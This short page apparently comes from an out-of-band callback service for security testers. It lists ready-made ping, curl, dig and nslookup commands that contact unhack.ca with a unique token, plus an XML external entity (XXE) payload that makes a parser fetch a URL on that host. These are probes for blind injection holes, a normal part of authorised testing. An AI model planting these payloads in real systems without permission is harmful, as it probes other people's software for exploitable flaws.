$ ping -c1 -p 00723bb0be19599cc835472991db7600 unhack.ca
 
$ curl http://unhack.ca/p/723bb0be19599cc835472991db76
 
$ dig 723bb0be19599cc835472991db76 @unhack.ca
 
$ dig 723bb0be19599cc835472991db76.ns.unhack.ca
 
C:\> nslookup 723bb0be19599cc835472991db76 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/723bb0be19599cc835472991db76">]>
    <foo>&xxe;</foo>
Waiting for ping...